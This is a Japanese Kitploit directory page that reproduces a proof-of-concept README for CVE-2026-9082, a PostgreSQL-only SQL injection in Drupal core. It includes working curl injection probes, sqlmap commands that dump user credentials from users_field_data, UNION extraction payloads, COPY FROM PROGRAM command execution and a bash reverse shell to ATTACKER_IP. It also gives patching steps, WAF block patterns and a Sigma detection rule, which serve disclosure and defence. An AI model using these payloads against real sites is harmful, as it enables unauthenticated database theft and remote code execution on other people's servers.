Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-9082 — CVE PoC | Kitploit
ツール/GitHubGitHub/lysophavin18/cve-2026-9082
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育データベースセキュリティ
GitHublysophavin18/cve-2026-9082

cve-2026-9082

CVE PoC

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-9082

タイプ: SQLインジェクション (CWE-89) 影響を受ける製品: Drupal Core (データベース抽象化API) Drupal Advisory: SA-CORE-2026-004 公開日: 2026年5月20日 深刻度: 非常に重大 (Drupal 20/25 | NVD CVSS 6.5)


概要

CVE-2026-9082は、Drupalのコアデータベース抽象化APIにおけるSQLインジェクションの脆弱性です。DrupalのDB層はPDOをラップし、すべてのクエリがデータベースに到達する前にサニタイズします。この脆弱性はPostgreSQLバックエンドのみでそのサニタイズをバイパスします。特別に細工されたHTTPリクエストが正規化ロジックをすり抜け、攻撃者が制御するSQLフラグメントをデータベースクエリに直接注入します。

MySQLおよびMariaDBはこのインジェクションベクトルの影響を受けませんが、パッチリリースにはすべてのバックエンドに影響する重要なSymfony/Twig修正も含まれています。


影響を受けるバージョン

ブランチ脆弱なバージョンパッチ適用済み
Drupal 10.4.x / 8.9.x8.9.0–10.4.910.4.10
Drupal 10.5.x10.5.0–10.5.910.5.10
Drupal 10.6.x10.6.0–10.6.810.6.9
Drupal 11.0.x–11.1.x11.0.0–11.1.911.1.10
Drupal 11.2.x11.2.0–11.2.1111.2.12
Drupal 11.3.x11.3.0–11.3.911.3.10

前提条件: 対象はデータベースバックエンドとしてPostgreSQLを使用している必要があります。


動作の仕組み(技術詳細)

DrupalのDB抽象化レイヤーは、パラメータ化クエリ/プリペアドステートメントを介して値をサニタイズしますが、クエリビルダーが信頼できる構造的SQL(フィールド名、演算子、ORDER BYターゲット)を提供することに依存しています。バグは、PostgreSQLドライバがクエリを構築する際に特定の入力パターンを処理する方法にあります。PostgreSQLのSQL方言は、重要な点でMySQLとは異なります。

  • || による文字列連結
  • :: による型キャスト
  • ドル引用符
  • COPY ... FROM PROGRAM コマンド
  • 異なる演算子の扱い

細工されたリクエストは、Drupalの値レベルのサニタイズを通過するが、PostgreSQLパーサーによって構造的SQLとして解釈される文字/シーケンスを導入します。攻撃対象は、ユーザー制御のパラメータをDBクエリに渡す任意のエンドポイント(検索、ビューフィルター、フォーム送信、JSON:APIなど)を介して認証なしで到達可能です。

悪用チェーン

root@kitploit:~
攻撃者(認証なし)
  |
  |--> 細工されたパラメータを含むHTTPリクエスト
  |    (例:検索フィールド、フィルター、フォーム入力)
  |
  v
Drupal DB抽象化API
  |
  |--> サニタイズのバイパス(PostgreSQL固有)
  |
  v
PostgreSQLが注入されたSQLを実行
  |
  |--> 情報漏洩(DB全体のダンプ)
  |--> 権限昇格(管理者資格情報の注入)
  |--> RCE(PostgreSQL COPY TO PROGRAM、lo_export など)

危険な理由

  1. 認証不要 — PostgreSQL上でインターネットに公開されているDrupalサイトすべてが対象
  2. RCEの可能性 — DBユーザーがスーパーユーザー権限を持つ場合、COPY TO PROGRAM 'cmd' 経由
  3. 完全なDBアクセス — ユーザーアカウント、パスワードハッシュ、セッショントークン、個人情報
  4. 広範囲のバージョン — Drupal 8/10/11の全ライフサイクル
  5. 複合リスク — 同じパッチでTwig SSTIも対策されている。攻撃者はSQLi → 管理者作成 → SSTIによるRCEの連鎖が可能

Drupal自身の警告: 「開示から数時間または数日以内にエクスプロイトが開発される可能性がある」(過去のDrupal DB層CVE(SA-CORE-2014-005 / Drupalgeddonなど)とも一致)


概念実証(認可されたラボテストのみ)

ステップ1: 候補エンドポイントの特定

root@kitploit:~
# DB抽象化レイヤーを介してユーザー入力を渡すエンドポイント
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"

ステップ2: PostgreSQL固有のインジェクションの検出

root@kitploit:~
# 時間ベース(pg_sleepはPostgreSQLのみ)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"

# キャストベースのプローブ(::はPostgreSQL構文)
curl -s "https://target.drupal.site/search/node?keys=1::integer"

# ブールベースの識別
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"

ステップ3: 自動抽出(sqlmap、認可テスト)

root@kitploit:~
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  --level=5 --risk=3 \
  --technique=BEUST \
  --tamper=space2comment,between \
  --dbs

# インジェクション確認後、資格情報をダンプ
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  -D drupal -T users_field_data \
  -C name,mail,pass --dump

ステップ4: 手動UNIONベース抽出(概念)

root@kitploit:~
-- カラム数の特定
test' ORDER BY 1--
test' ORDER BY 2--  -- エラーが出るまで増加

-- 資格情報の抽出(PostgreSQL構文)
test' UNION SELECT null,username,password FROM users_field_data--

-- DBユーザーがスーパーユーザーか確認
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--

ステップ5: COPY TO PROGRAMによるRCE(DBユーザーがスーパーユーザーの場合)

root@kitploit:~
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;

-- リバースシェル(ATTACKER_IP/PORTを置き換え)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';

緩和策

即時: Drupalのパッチ適用

root@kitploit:~
# Composer(推奨)
composer update drupal/core drupal/core-recommended

# バージョン確認
php core/scripts/drupal --version

# またはDrush経由
drush updb && drush cr

データベースの強化

root@kitploit:~
-- アプリケーションDBユーザーがスーパーユーザーでないことを確認
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- usesuper = false を返すべき

WAF(一時的な応急処置のみ — パッチ適用の代わりにはならない)

パターンをブロック: pg_sleep、COPY.*PROGRAM、::text、::integer、UNION.*SELECT、%27--

ネットワーク

PostgreSQLがlocalhostまたはプライベートインターフェースのみにバインドし、インターネットから到達できないようにする。


検知シグナル

Sigmaルール(検知)

root@kitploit:~
title: Drupal CVE-2026-9082 SQLインジェクション試行
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|contains:
      - "pg_sleep"
      - "UNION+SELECT"
      - "::text"
      - "::integer"
      - "COPY+TO"
      - "%27--"
  filter:
    cs-uri-stem|contains:
      - "/search/"
      - "/views/ajax"
      - "/jsonapi/"
  condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]

まとめ

CVE-2026-9082は、PostgreSQLバックエンドを標的としたDrupal Coreにおける認証不要のSQLインジェクションです。NVD CVSSは6.5と中程度ですが、Drupalは20/25(非常に重大)と評価しています。これは、認証不要のアクセスとPostgreSQLのCOPY TO PROGRAMを組み合わせることで、設定ミスの環境では直接RCEにつながるためです。影響を受けるバージョン範囲の広さと、バンドルされたTwig SSTI修正により、これはすべてのDrupalサイト、特にインターネットに公開されたデプロイメントでPostgreSQLを使用しているサイトにとって重大かつ緊急のパッチです。

推奨される対応: すぐに該当ブランチのパッチ適用済みバージョンに更新してください。アプリケーションDBユーザーがPostgreSQLスーパーユーザーでないことを確認してください。

ツールをダウンロード
ソースシグナル
Webログクエリ文字列中の pg_sleep、::、UNION SELECT、--、COPY PROGRAM
PostgreSQLログWebリクエストのタイムスタンプと相関する構文エラー
Drupal watchdogsearch/view/jsonapiエンドポイントからのDB例外
auditdpostgres が子プロセスを生成(COPY TO PROGRAM)
Drupal usersテーブル最近のタイムスタンプを持つ新しい administrator ロール行